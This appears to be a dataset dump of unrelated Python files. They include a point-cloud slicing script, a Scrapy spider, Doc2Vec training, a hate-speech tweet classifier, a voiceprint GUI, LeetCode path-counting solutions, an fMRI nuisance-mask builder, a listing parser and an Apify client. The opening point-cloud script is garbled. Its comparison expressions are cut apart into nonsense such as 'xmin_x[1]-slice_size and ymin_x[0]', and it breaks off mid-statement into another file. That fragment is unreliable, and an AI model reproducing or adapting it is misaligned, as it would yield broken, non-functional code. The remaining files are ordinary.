array.append((x,y,z))\n\n\n\nvaule_found=[]\ndata=[[]]\ncount=0\n\nset_hight=array[0][2]\n\n\nfor q in array:\n if q[2]==set_hight:\n data[count].append(q)\n else:\n data.append([])\n count+=1\n set_hight=q[2]\n data[count].append(q)\n vaule_found.append(q[2])\n\n\n\nprint(data[0])\n\ncenter_point=0,0\n\n#max x point from center\n\nslice_points = []\nfor loop1 in data:\n layer_1=loop1\n max_x=[0,0,0]\n min_x=[999999999999999999999999999,0,0]\n\n\n\n for q in layer_1:\n\n x=q[0]\n y=q[1]\n z=q[2]\n\n if x > max_x[0]:\n max_x[0]=x\n max_x[1]=y\n max_x[2]=z\n\n if x< min_x[0]:\n min_x[0]=x\n min_x[1]=y\n min_x[2]=z\n\n slice_points.append(max_x)\n slice_points.append(min_x)\n\n\n\nslice_size=0.1\n#bott add in\nfor q in data[0]:\n x=q[0]\n y=q[1]\n z=q[2]\n\n\n if x >min_x[0] and xmin_x[1]-slice_size and ymin_x[0] and xmin_x[1]-slice_size and yslioet_max_x:\n slioet_max_x=x\n\n if xslioet_max_z:\n slioet_max_z=z\n\n if z< siloet_min_z:\n siloet_min_z=z\n\n\nbox_bond=((siloet_min_x, siloet_min_z), (slioet_max_x, slioet_max_z))\n\nprint(\"box bondersy \",box_bond)\n\ndef for_loop_2(v1,v2,step):\n data=[]\n if v1 >v2:\n temp=v2\n v2=v1\n v1=temp\n\n while(v1 Subject:\n return self.extended_query_subject\n","sub_path":"query_rewriter/ui/tabs/ExtensionTab.py","file_name":"ExtensionTab.py","file_ext":"py","file_size_in_byte":4204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"132030663","text":"import scrapy\nfrom scrapy.spiders import Rule, CrawlSpider\nfrom scrapy.linkextractor import LinkExtractor\nfrom ..items import MsuItem\nimport re\nfrom bs4 import BeautifulSoup as BS\nimport uuid\ndef response_to_text(response):\n soup = BS(response._get_body().decode(\"utf-8\"), \"html.parser\")\n for child in soup.body.children:\n if child.name == 'script':\n child.decompose() \n res = soup.body.get_text()\n res = re.sub(r\"\\W\", \" \", res)\n # res = re.sub(r\"\\d\", \" \", res)\n res = re.sub(r\"\\s+\", \" \", res)\n return res\n\n\nclass MsuSpider(CrawlSpider):\n name = \"msu\"\n allowed_domains = [\"msu.ru\",\"www.msu.ru\"]\n start_urls = [\"https://www.msu.ru/\"]\n rules = [\n Rule(\n LinkExtractor(\n canonicalize=True,\n unique=True,\n ),\n follow=True,\n callback=\"parse_items\"\n )\n ]\n path = \"./msu_files/\"\n def start_requests(self):\n for url in self.start_urls:\n yield scrapy.Request(url, callback=self.parse, dont_filter=True)\n\n def parse_items(self, response):\n item = MsuItem()\n item['url'] = response.url\n filename = str(uuid.uuid4())\n with open(\"%s%s.txt\" % (self.path, filename), \"w\", encoding=\"utf-8\") as rf:\n rf.write(response_to_text(response))\n item['f_n'] = filename\n return item\n","sub_path":"thrdmodule/spiders/msu.py","file_name":"msu.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"216719441","text":"import os, sys, getopt\nimport os.path\nimport numpy as np\nimport multiprocessing\nfrom random import shuffle\nfrom collections import namedtuple, OrderedDict, defaultdict\nimport gensim\nfrom gensim.models import Doc2Vec\nimport gensim.models.doc2vec\nfrom gensim.test.test_doc2vec import ConcatenatedDoc2Vec\n# for timing\nfrom contextlib import contextmanager\nfrom timeit import default_timer\nimport time \nimport datetime\n\n\nopts,args=getopt.getopt(sys.argv[1:],'i:d:q:o:')\nfor opt,arg in opts:\n if opt in ('-d','--datadir'):\n datadir=str(arg)\n if opt in ('-i','--lineno2cwid'):\n cwiddir=str(arg)\n if opt in ('-q','--qid'):\n qid=str(arg)\n if opt in ('-o','--outdir'):\n outdir=str(arg)\n\n\ndatafile=datadir + \"/\" + str(qid) + \"/part-00000\"\nlineno2cwidf=cwiddir + \"/\" + str(qid) + \"/part-00000\"\nCWDocument = namedtuple('CWDocument', 'words tags')\nalldocs = [] # will hold all docs in original order\nalltags = []\nwith open(datafile) as data, open(lineno2cwidf) as cwid:\n for line_no, line in zip(cwid,data):\n docid=line_no.rstrip().split(\" \")[1]\n words = gensim.utils.to_unicode(line.rstrip(), errors='strict').split()\n tags = [docid] # `tags = [tokens[0]]` would also work at extra memory cost\n alldocs.append(CWDocument(words, tags))\n alltags.append(docid)\ndoc_list = alldocs[:] # for reshuffling per pass\n\nprint('Input %d docs for query %s ' % (len(doc_list), qid))\n\n\n\ncores = multiprocessing.cpu_count()\nassert gensim.models.doc2vec.FAST_VERSION > -1, \"this will be painfully slow otherwise\"\n\nsimple_models = [\n # PV-DM w/concatenation - window=5 (both sides) approximates paper's 10-word total window size\n Doc2Vec(dm=1, dm_concat=1, size=100, window=5, negative=5, hs=0, min_count=2, workers=cores),\n # PV-DBOW \n Doc2Vec(dm=0, size=100, negative=5, hs=0, min_count=2, workers=cores),\n # PV-DM w/average\n Doc2Vec(dm=1, dm_mean=1, size=100, window=10, negative=5, hs=0, min_count=2, workers=cores),\n]\n\n# speed setup by sharing results of 1st model's vocabulary scan\nsimple_models[0].build_vocab(alldocs) # PV-DM/concat requires one special NULL word so it serves as template\n#print(simple_models[0])\nfor model in simple_models[1:]:\n model.reset_from(simple_models[0])\n #print(model)\n\nmodels_by_name = OrderedDict((str(model), model) for model in simple_models)\n\nmodels_by_name['dbow+dmm'] = ConcatenatedDoc2Vec([simple_models[1], simple_models[2]])\nmodels_by_name['dbow+dmc'] = ConcatenatedDoc2Vec([simple_models[1], simple_models[0]])\n\nmanualModelName=['dmc','dbow','dmm','dbow+dmm','dbow+dmc']\n\n@contextmanager\ndef elapsed_timer():\n start = default_timer()\n elapser = lambda: default_timer() - start\n yield lambda: elapser()\n end = default_timer()\n elapser = lambda: end-start\n\ndef cwidvec2str(cwid, vec):\n line=list()\n line.append(cwid)\n for idx, val in enumerate(vec):\n line.append(str(idx) + \":\" + '%.6f'%val)\n return ' '.join(line)\n\n\nalpha, min_alpha, passes = (0.025, 0.001, 20)\nalpha_delta = (alpha - min_alpha) / passes\n\nprint(\"START query %s at %s\" % (qid, datetime.datetime.now()))\n\nfor epoch in range(passes):\n shuffle(doc_list) # shuffling gets best results\n for name, train_model in models_by_name.items():\n # train\n duration = 'na'\n train_model.alpha, train_model.min_alpha = alpha, alpha\n with elapsed_timer() as elapsed:\n train_model.train(doc_list)\n duration = '%.1f' % elapsed()\n #print(\"%i passes : %s %ss\" % (epoch + 1, name, duration))\n if (epoch + 1) % 5 == 0:\n print('%s: completed pass %i at alpha %f' % (qid, epoch + 1, alpha))\n alpha -= alpha_delta\n\n\ni=0\nfor name, model in models_by_name.items():\n lines=list()\n subdir = outdir + \"/\" + manualModelName[i]\n if not os.path.exists(subdir):\n os.makedirs(subdir)\n outf = open(subdir + \"/\" + qid,'w')\n i += 1\n for cwid in alltags:\n lines.append(cwidvec2str(cwid, model.docvecs[cwid]))\n outf.write('\\n'.join(lines))\n outf.close()\n\nprint(\"Finished query %s at %s\" % (qid, str(datetime.datetime.now())))\n","sub_path":"src/main/resources/python/para2vec/originPara2vec/clueweb.py","file_name":"clueweb.py","file_ext":"py","file_size_in_byte":4118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"552871477","text":"#!/usr/bin/python3\n\"\"\"\nStart with your class from Exercise 9-1 Create three\ndifferent instances from the class, and call describe_restaurant() for each\ninstance\n\"\"\"\n\nclass Restaurant():\n \"\"\"A class that represents a restaurant\"\"\"\n\n def __init__(self, name, cuisine_type):\n \"\"\"Initilizes the restaurant\"\"\"\n self.name = name.title()\n self.cuisine_type = cuisine_type\n\n def describe_restaurant(self):\n \"\"\"A method that displays a summary of the restaurant\"\"\"\n msg = self.name + \" serves delicious \" + self.cuisine_type + \".\"\n print(\"\\n\" + msg)\n\n def open_restaurant(self):\n \"\"\"Displays a message saying that the restaurant is open\"\"\"\n msg = self.name + \" is open. Yokouso!\"\n print(\"\\n\" + msg)\n\nhamazushi = Restaurant('Hamazushi', 'sushi')\nhamazushi.describe_restaurant()\n\nfutomichi = Restaurant(\"futomichi\", \"ramen\")\nfutomichi.describe_restaurant()\n\nyakinikuking = Restaurant(\"Yakiniku King\", \"yakiniku\")\nyakinikuking.describe_restaurant()\n","sub_path":"09-Classes/2-three_restaurants.py","file_name":"2-three_restaurants.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"609128986","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom PyQt5 import QtCore\r\nimport os\r\nimport shutil\r\nimport sys\r\nimport numpy as np\r\nimport configparser\r\nsys.path.append('..')\r\nfrom pretreatment import vad, feature_extract\r\nfrom gmm import ubm, gmm\r\nfrom group import group\r\n\r\n\r\nclass MainThread(QtCore.QThread):\r\n def __init__(self, inputdir, outputdir):\r\n self.inputdir = inputdir\r\n self.outputdir = outputdir\r\n super(MainThread, self).__init__()\r\n\r\n update_text_signal = QtCore.pyqtSignal(str)\r\n is_finished_signal = QtCore.pyqtSignal(bool)\r\n change_color_signal = QtCore.pyqtSignal(bool)\r\n\r\n def run(self):\r\n cf = configparser.ConfigParser()\r\n root = os.path.dirname(os.path.dirname(__file__))\r\n cf.read(os.path.join(root, 'configure.ini'))\r\n inputdir = self.inputdir\r\n outputdir = self.outputdir\r\n \r\n self.update_text_signal.emit('正在进行端点检测...\\n')\r\n vadpath = os.path.join(outputdir, 'vad')\r\n if os.path.exists(vadpath):\r\n shutil.rmtree(vadpath)\r\n os.mkdir(vadpath)\r\n vad.main(inputdir, vadpath,\r\n max_interval=cf.getfloat('vad', 'max_interval'))\r\n self.update_text_signal.emit('端点检测完成\\n')\r\n\r\n self.update_text_signal.emit('正在进行特征提取...\\n')\r\n featurepath = os.path.join(outputdir, 'feature')\r\n if os.path.exists(featurepath):\r\n shutil.rmtree(featurepath)\r\n os.mkdir(featurepath)\r\n feature_extract.main(vadpath, featurepath,\r\n dim=cf.getint('feature', 'dim_mfcc'))\r\n self.update_text_signal.emit('特征提取完成\\n')\r\n\r\n self.update_text_signal.emit('正在训练模型....\\n')\r\n ubmpath = os.path.join(outputdir, 'ubm')\r\n ubm.train_ubm(featurepath, ubmpath,\r\n n_components=cf.getint('model', 'n_components'))\r\n\r\n ubmmodel = np.load(ubmpath + '.npy')[0]\r\n weights_init = ubmmodel.weights_init\r\n means_init = ubmmodel.means_init\r\n precisions_init = ubmmodel.precisions_init\r\n\r\n gmmpath = os.path.join(outputdir, 'gmm')\r\n if os.path.exists(gmmpath):\r\n shutil.rmtree(gmmpath)\r\n os.mkdir(gmmpath)\r\n gmm.main(featurepath, gmmpath,\r\n weights_init, means_init, precisions_init,\r\n n_components=cf.getint('model', 'n_components'))\r\n self.update_text_signal.emit('模型训练完成\\n')\r\n\r\n self.update_text_signal.emit('正在分组...\\n')\r\n relation = group.relation(gmmpath, featurepath, inputdir,\r\n dim=3*(cf.getint('feature', 'dim_mfcc')-1))\r\n np.save(os.path.join(outputdir, 'relation'), relation)\r\n union_relation = group.union(relation)\r\n\r\n resultpath = os.path.join(outputdir, 'result')\r\n np.save(resultpath, union_relation)\r\n\r\n if os.path.exists(resultpath + '.txt'):\r\n os.remove(resultpath + '.txt')\r\n f = open(os.path.join(outputdir, 'result.txt'), 'a+')\r\n for r in union_relation:\r\n f.writelines(str(r) + '\\n')\r\n f.close() \r\n self.update_text_signal.emit('分组完成\\n')\r\n self.update_text_signal.emit('结束!\\n')\r\n self.update_text_signal.emit('检测结果:\\n')\r\n err = 0\r\n for r in union_relation:\r\n tmp = set()\r\n for s in r:\r\n tmp.add(s.split('\\\\')[-2])\r\n if len(tmp) != 1:\r\n self.change_color_signal.emit(True)\r\n self.update_text_signal.emit('以下文件可能出自同一人：')\r\n for p in r:\r\n self.update_text_signal.emit(p)\r\n self.update_text_signal.emit('\\n')\r\n err += 1 \r\n if err == 0:\r\n self.update_text_signal.emit('无异常') \r\n self.is_finished_signal.emit(True)\r\n","sub_path":"voiceprint/gui/mainthread.py","file_name":"mainthread.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"58582341","text":"import pandas\nimport re\nimport string\nimport tensorflow as tf\nfrom collections import Counter\nfrom nltk.stem.porter import PorterStemmer\nfrom nltk.corpus import stopwords\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.layers import Flatten\nfrom keras.layers import Embedding\nfrom keras.layers.convolutional import Conv1D\nfrom keras.layers.convolutional import MaxPooling1D\n\n#---------------------------------\n# BUILT-IN FUNCTIONS \n#---------------------------------\ndef clean_text(txt):\n \"\"\"Preprocessing - Turning texts into clean tokens\n \"\"\"\n # Ensure lowercase text encoding\n txt = str(txt).lower()\n # split tokens by white space\n tokens = txt.split()\n # remove tokens not encoded in ascii\n isascii = lambda s: len(s) == len(s.encode())\n tokens = [w for w in tokens if isascii(w)]\n # regex for punctuation filtering\n re_punc = re.compile('[%s]' % re.escape(string.punctuation))\n # remove punctuation from each word\n tokens = [re_punc.sub('', w) for w in tokens]\n # remove tokens that aren't alphanumeric\n tokens = [w for w in tokens if w.isalnum()]\n # regex for digits filtering\n re_digt = re.compile('[%s]' % re.escape(string.digits)) \n # remove digits from each word\n tokens = [re_digt.sub('', w) for w in tokens] \n # filter out stop words\n stop_words = set(stopwords.words('english'))\n tokens = [w for w in tokens if not w in stop_words]\n # filter out long tokens\n tokens = [w for w in tokens if len(w) < 30]\n # filter out short tokens\n tokens = [w for w in tokens if len(w) > 1]\n # stemming of words\n porter = PorterStemmer()\n tokens = [porter.stem(w) for w in tokens]\n return tokens\n\ndef token_to_line(txt, vocab):\n \"\"\"Clean text and return line of tokens\n dependency: clean_text\n \"\"\"\n # clean text\n tokens = clean_text(txt)\n # filter by vocabulary\n tokens = [w for w in tokens if w in vocab]\n return ' '.join(tokens)\n\ndef process_texts(texts, vocab):\n \"\"\"Clean texts to only contain tokens present in the vocab\n dependency: token_to_line\n \"\"\"\n lines = list() \n for txt in texts:\n # load and clean the doc\n line = token_to_line(txt, vocab)\n # add to list\n lines.append(line)\n return lines\n\ndef save_vocab(lines, filename):\n \"\"\"Saving a list of items to a file; line-by-line\n \"\"\"\n data = '\\n'.join(lines)\n file = open(filename, 'w')\n file.write(data)\n file.close()\n\ndef load_vocab(filename):\n \"\"\"Load doc into memory\n \"\"\"\n # open the file as read only\n file = open(filename, 'r')\n # read all text\n text = file.read()\n # close the file\n file.close()\n return text\n\ndef add_tokens_vocab(txt, vocab):\n \"\"\"Creating vocabulary containing unique tokens from all texts\n dependency: add_tokens_vocab\n \"\"\"\n tokens = clean_text(txt) \n vocab.update(tokens) \n \ndef build_vocab(texts):\n \"\"\"Creating vocabulary and saving output to a text file\n dependency: clean_text\n \"\"\"\n vocab = Counter()\n for txt in texts:\n add_tokens_vocab(txt, vocab) \n # save tokens to a vocabulary file; for later access in model build/predict \n save_vocab(vocab, \"vocab.txt\")\n \ndef create_tokenizer(lines):\n \"\"\" Defining a tokenizer\n dependency: from keras.preprocessing.text import Tokenizer\n \"\"\" \n tokenizer = Tokenizer()\n tokenizer.fit_on_texts(lines)\n return tokenizer\n \ndef encode_docs(tokenizer, max_length, docs):\n \"\"\" Encode each 'cleaned' string as a sequence of integers\n dependency: create_tokenizer\n \"\"\" \n # integer encode \n encoded = tokenizer.texts_to_sequences(docs)\n # pad sequences to ensure that all strings have the same length\n # max_length is the length of the longest string\n padded = pad_sequences(encoded, maxlen = max_length, padding='post') \n return padded\n\ndef tf_auc_roc(y_true, y_pred):\n \"\"\" Defining AUC ROC metrics for model performance from tensorflow package since AUC isn't available in Keras\n dependency: import tensorflow as tf\n \"\"\" \n # any tensorflow metric\n value, update_op = tf.contrib.metrics.streaming_auc(y_pred, y_true)\n # find all variables created for this metric\n metric_vars = [i for i in tf.local_variables() if 'auc_roc' in i.name.split('/')[1]]\n # Add metric variables to GLOBAL_VARIABLES collection.\n for v in metric_vars:\n tf.add_to_collection(tf.GraphKeys.GLOBAL_VARIABLES, v)\n # force to update metric values\n with tf.control_dependencies([update_op]):\n value = tf.identity(value)\n return value\n\ndef define_model(vocab_size, max_length): \n \"\"\" Defining the neural network model\n \"\"\" \n model = Sequential()\n # embedding part: 150-dimensional vector space (explicit assignment; experimental)\n model.add(Embedding(vocab_size, 150, input_length = max_length))\n # add a CNN layer with 32 filters (parallel fields for processing words)\n # and a kernel size of 8 with a rectified linear (relu) activation function.\n model.add(Conv1D(filters = 32, kernel_size = 8, activation='relu')) \n # add pooling layer to reduce the output of the CNN layer\n # pool_size = 2 to reduce by half\n model.add(MaxPooling1D(pool_size=2))\n # flatten the CNN output to one long 2D vector representing features extracted by CNN\n model.add(Flatten())\n # add a standard MLP layer to interpret the CNN features\n model.add(Dense(30, activation='relu'))\n # use a sigmoid activation function in the output layer to resturn a value between 0 and 1 (binary classification)\n model.add(Dense(1, activation='sigmoid'))\n return model\n\n \n#---------------------------------\n# MAIN \n#---------------------------------\n#data_path = \"/Data\"\n\nprint(\"Loading data sets into Memory...\")\ntrain_df = pandas.read_csv(\"train.csv\", quotechar='\"', skipinitialspace=True, encoding='utf-8')\nprint(\"...training data dimension: \" + str(train_df.shape))\ntest_df = pandas.read_csv(\"test.csv\", quotechar='\"', skipinitialspace=True, encoding='utf-8')\nprint(\"...test data (rows for prediction): \" + str(test_df.shape[0]))\n\n#----\n# Data prep to Model Build \n#----\n\nprint(\"Shuffling the training data row-wise...\")\n# Shuffle the data frame row-wise\n# useful during model fit since keras is getting only the last n% of data (w/o randomization)\n# in defining the validation set\ntrain_df = train_df.sample(frac=1).reset_index(drop=True)\n\nprint(\"Building the neural network inputs...\")\n# get target\nytrain = train_df.label\n \n# create vocabulary file from the train data\nbuild_vocab(train_df.tweet) \n\n# load the vocabulary\ntokens = load_vocab(\"vocab.txt\")\n\n# process strings to contain only clean tokens\ntexts = process_texts(train_df.tweet, vocab = tokens)\n\n# identify the maximum string word length\nmax_length = max([len(t.split()) for t in texts])\n\n# instantiate the tokenizer\ntokenizer = create_tokenizer(texts)\n\n# identify the size of the full vocabulary\n# add +1 for unknown words\nvocab_size = len(tokenizer.word_index) + 1\n\n# prepare train and test sets for network processing\nxtrain = encode_docs(tokenizer, max_length, texts)\nxtest = encode_docs(tokenizer, max_length, process_texts(test_df.tweet, vocab = tokens))\n\nprint(\"Defining the neural network model...\")\n# define the neural network model\nmodel = define_model(vocab_size, max_length)\n\n# compile network\n# use binary cross entropy loss function for classification problem\n# use the 'adam' implementation of stochastic gradient descent\n# keep track of AUC ROC in addition to loss during training\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=[tf_auc_roc]) \n\n# summarize the defined network\nmodel.summary()\n\n# model checkpoint\n# checkpointing to ensure that each time the model performance improves on the validation set during model build, \n# the model is saved to file.\n# performance is evaluated based on the defined AUC ROC (monitor='val_tf_auc_roc')\nfilepath = \"weights.bestmodel.hdf5\"\ncheckpoint = ModelCheckpoint(filepath, monitor='val_tf_auc_roc', verbose=1, save_best_only=True, mode='max')\ncallbacks_list = [checkpoint]\n\nprint(\"Running model Build...\")\n# fit network\n# 30 epochs to cycle through the training data (can be configured differently)\n# set the last 10% of training data as the validation set (can be configured differently)\n# use pre-defined callback_list to save the best model in the cycle\n# Assign class_weight to handle data imbalance\nclass_weight = {0 : 1000., 1: 75.}\nmodel.fit(xtrain, ytrain, epochs = 30, validation_split = 0.10, verbose = 0, callbacks=callbacks_list, class_weight = class_weight)\nprint(\"...Model build process:COMPLETED\")\n\n#----\n# Test file prediction to writing a .csv submission file\n#----\n\n# redefine the network structure (can be skipped if model build is active in the current session)\nmodel = define_model(vocab_size, max_length)\nmodel.load_weights(\"weights.bestmodel.hdf5\")\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=[tf_auc_roc])\n\nprint(\"Running test set predictions...\")\n# run predictions\nresults = pandas.DataFrame(model.predict(xtest, verbose=0))\n\nprint(\"writing predictions to a submission file...\")\n# write a submission file\ntest_df[\"label\"] = results.iloc[:,0]\ntest_df[\"label\"] = round(test_df[\"label\"])\ntest_df = test_df[[\"id\", \"label\"]]\ntest_df.to_csv(\"test_predictions.csv\", encoding='utf-8',index=False)\nprint(\"...Test set prediction process:COMPLETED\")\n\n\n#---End-Of-File\n\n\n\n\n\n\n","sub_path":"Hate_Speech_Classification.py","file_name":"Hate_Speech_Classification.py","file_ext":"py","file_size_in_byte":9660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"53189644","text":"# DP solution -> obstacles indicate no acceptable path \nclass Solution:\n def uniquePathsWithObstacles(self, obstacleGrid: List[List[int]]) -> int:\n if not (obstacleGrid and obstacleGrid[0]):\n return 1\n elif obstacleGrid[0][0] != 1:\n obstacleGrid[0][0] = 1\n else:\n return 0\n \n for i in range(len(obstacleGrid)):\n for j in range(len(obstacleGrid[0])):\n if obstacleGrid[i][j] == 1 and not i == j == 0:\n obstacleGrid[i][j] = 0\n elif i > 0 and j > 0:\n obstacleGrid[i][j] = obstacleGrid[i-1][j] + obstacleGrid[i][j-1]\n elif i > 0:\n obstacleGrid[i][j] = obstacleGrid[i-1][j]\n elif j > 0:\n obstacleGrid[i][j] = obstacleGrid[i][j-1]\n return obstacleGrid[-1][-1]\n\nclass Solution:\n def uniquePathsWithObstacles(self, obstacleGrid: List[List[int]]) -> int:\n if not obstacleGrid:\n return 0\n elif len(obstacleGrid[0]) == 0:\n return 1\n cache = {(0,0): int(obstacleGrid[0][0] == 0)}\n def helper(row, col):\n if obstacleGrid[row][col] == 1 or row < 0 or col < 0:\n cache[(row, col)] = 0\n return 0\n elif (row, col) in cache:\n return cache[(row, col)]\n else:\n cache[(row, col)] = helper(row-1, col) + helper(row, col-1)\n return cache[(row, col)]\n return helper(len(obstacleGrid)-1,len(obstacleGrid[0])-1)\n","sub_path":"python/63_UniquePathsII.py","file_name":"63_UniquePathsII.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"623276998","text":"def get_nuisance_mask(input, pathSPM, deformation, path_output, nerode_white=1, nerode_csf=1, \n segmentation=True, cleanup=True):\n \"\"\"\n This function calculates WM and CSF masks in space of the functional time series. It uses SPM\n to compute WM and CSF probability maps. These maps are masked with a skullstrip mask and \n transformed to native epi space.\n Inputs:\n *input: input anatomy (orig.mgz).\n *pathSPM: path to spm toolbox.\n *deformation: coordinate mapping for ana to epi transformation.\n *path_output: path where output is saved.\n *nerode_white: number of wm mask eroding steps.\n *nerode_csf: number of csf mask eroding steps.\n *segmentation: do not calculate new masks to not rerun everything.\n *cleanup: delete intermediate files.\n\n created by Daniel Haenelt\n Date created: 01-03-2019\n Last modified: 01-03-2019\n \"\"\"\n import os\n import shutil as sh\n import nibabel as nb\n from scipy.ndimage.morphology import binary_erosion\n from nipype.interfaces.fsl import BET\n from nipype.interfaces.freesurfer.preprocess import MRIConvert\n from nighres.registration import apply_coordinate_mappings\n from lib.skullstrip.skullstrip_spm12 import skullstrip_spm12\n\n # make output folder\n if not os.path.exists(path_output):\n os.mkdir(path_output)\n\n # get filename without file extension of input file\n file = os.path.splitext(os.path.basename(input))[0]\n\n # convert to nifti format\n mc = MRIConvert()\n mc.inputs.in_file = input\n mc.inputs.out_file = os.path.join(path_output,file + \".nii\")\n mc.inputs.out_type = \"nii\"\n mc.run()\n\n # bet skullstrip mask\n btr = BET()\n btr.inputs.in_file = os.path.join(path_output,file + \".nii\")\n btr.inputs.frac = 0.5\n btr.inputs.mask = True\n btr.inputs.no_output = True\n btr.inputs.out_file = os.path.join(path_output,\"bet\")\n btr.inputs.output_type = \"NIFTI\"\n btr.run() \n\n # segmentation\n if segmentation:\n skullstrip_spm12(os.path.join(path_output,file + \".nii\"), \n pathSPM, \n path_output)\n\n # load tissue maps\n wm_array = nb.load(os.path.join(path_output,\"skull\",\"c2\" + file + \".nii\")).get_fdata()\n csf_array = nb.load(os.path.join(path_output,\"skull\",\"c3\" + file + \".nii\")).get_fdata()\n mask_array = nb.load(os.path.join(path_output,\"bet_mask.nii\")).get_fdata()\n\n # binarize\n wm_array[wm_array > 0] = 1\n csf_array[csf_array > 0] = 1\n\n # apply brain mask\n wm_array = wm_array * mask_array\n csf_array = csf_array * mask_array\n\n # erode wm\n wm_array = binary_erosion(\n wm_array, \n structure=None, \n iterations=nerode_white,\n mask=None, \n output=None, \n border_value=0, \n origin=0, \n brute_force=False,\n )\n\n # erode csf\n csf_array = binary_erosion(\n csf_array, \n structure=None, \n iterations=nerode_csf,\n mask=None, \n output=None, \n border_value=0, \n origin=0, \n brute_force=False,\n )\n\n # write wm and csf mask\n data_img = nb.load(input)\n wm_out = nb.Nifti1Image(wm_array, data_img.affine, data_img.header)\n nb.save(wm_out, os.path.join(path_output,\"wm_mask_orig.nii\"))\n csf_out = nb.Nifti1Image(csf_array, data_img.affine, data_img.header)\n nb.save(csf_out, os.path.join(path_output,\"csf_mask_orig.nii\"))\n\n # apply deformation to mask\n apply_coordinate_mappings(os.path.join(path_output,\"wm_mask_orig.nii\"), # input \n deformation, # cmap\n interpolation = \"nearest\", # nearest or linear\n padding = \"zero\", # closest, zero or max\n save_data = True, # save output data to file (boolean)\n overwrite = True, # overwrite existing results (boolean)\n output_dir = path_output, # output directory\n file_name = \"wm_mask\" # base name with file extension for output\n )\n\n apply_coordinate_mappings(os.path.join(path_output,\"csf_mask_orig.nii\"), # input \n deformation, # cmap\n interpolation = \"nearest\", # nearest or linear\n padding = \"zero\", # closest, zero or max\n save_data = True, # save output data to file (boolean)\n overwrite = True, # overwrite existing results (boolean)\n output_dir = path_output, # output directory\n file_name = \"csf_mask\" # base name with file extension for output\n )\n \n # rename transformed masks\n os.rename(os.path.join(path_output,\"wm_mask_def-img.nii.gz\"),\n os.path.join(path_output,\"wm_mask.nii.gz\"))\n os.rename(os.path.join(path_output,\"csf_mask_def-img.nii.gz\"),\n os.path.join(path_output,\"csf_mask.nii.gz\"))\n\n # cleanup\n if cleanup:\n os.remove(os.path.join(path_output,\"bet_mask.nii\"))\n os.remove(os.path.join(path_output,\"csf_mask_orig.nii\"))\n os.remove(os.path.join(path_output,\"wm_mask_orig.nii\"))\n os.remove(os.path.join(path_output,\"orig.nii\"))\n sh.rmtree(os.path.join(path_output,\"skull\"), ignore_errors=True)\n","sub_path":"lib/preprocessing/get_nuisance_mask.py","file_name":"get_nuisance_mask.py","file_ext":"py","file_size_in_byte":5529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"174207723","text":"from .core import *\r\nfrom .utils import attributeerror_wrapper\r\nfrom .vparsers import *\r\n \r\n\r\nclass MetroTargowekParser(SingleWebpageParser):\r\n url = \"https://www.rsmpraga.pl/inwestycje/metro-targowek/\"\r\n method = \"GET\"\r\n \r\n schema = [\r\n DataUnit(label=\"Numer\", parser=DOMTextExtractor(), id=\"number\"),\r\n DataUnit(label=\"Pow.\", parser=AreaParser(DOMTextExtractor()), id=\"area\"),\r\n DataUnit(label=\"Piętro\", parser=IntParser(DOMTextExtractor()), id=\"floor\"),\r\n DataUnit(label=\"Pokoje\", parser=IntParser(DOMTextExtractor()), id=\"rooms\"),\r\n DataUnit(label=\"Benefity\", parser=NoneParser(), id=\"benefits_none\"),\r\n DataUnit(label=\"Plan\", parser=LinkParser(DOMElementExtractor(\"a\")), id=\"plan\"),\r\n DataUnit(label=\"Status\", parser=StatusParser(DOMTextExtractor()), id=\"status\")\r\n ]\r\n \r\n @attributeerror_wrapper(return_value=[])\r\n def find_records(self, soup):\r\n return soup.find(\"div\", {\"id\": \"invest-offer\"}).find(\"table\")\\\r\n .find(\"tbody\").find_all(\"tr\")\r\n \r\n def split_record(self, record):\r\n return record.find_all(\"td\")\r\n \r\n def modify_record(self, record, soup=None):\r\n record[\"number\"] = \"{floor}/{number}\".format(**record)\r\n record[\"fid\"] = record[\"number\"]\r\n if record[\"status\"] is None:\r\n record[\"status\"] = StatusParser.AVAILABLE\r\n return record\r\n","sub_path":"parsers/metrotargowek.py","file_name":"metrotargowek.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"100118928","text":"from typing import Any, Dict, Optional\n\nfrom ..._utils import ListPage\nfrom ..base import ResourceCollectionClient\n\n\nclass KeyValueStoreCollectionClient(ResourceCollectionClient):\n \"\"\"Sub-client for manipulating key-value stores.\"\"\"\n\n def __init__(self, *args: Any, **kwargs: Any) -> None:\n \"\"\"Initialize the KeyValueStoreCollectionClient with the passed arguments.\"\"\"\n resource_path = kwargs.pop('resource_path', 'key-value-stores')\n super().__init__(*args, resource_path=resource_path, **kwargs)\n\n def list(\n self,\n *,\n unnamed: Optional[bool] = None,\n limit: Optional[int] = None,\n offset: Optional[int] = None,\n desc: Optional[bool] = None,\n ) -> ListPage:\n \"\"\"List the available key-value stores.\n\n https://docs.apify.com/api/v2#/reference/key-value-stores/store-collection/get-list-of-key-value-stores\n\n Args:\n unnamed (bool, optional): Whether to include unnamed key-value stores in the list\n limit (int, optional): How many key-value stores to retrieve\n offset (int, optional): What key-value store to include as first when retrieving the list\n desc (bool, optional): Whether to sort the key-value stores in descending order based on their modification date\n\n Returns:\n ListPage: The list of available key-value stores matching the specified filters.\n 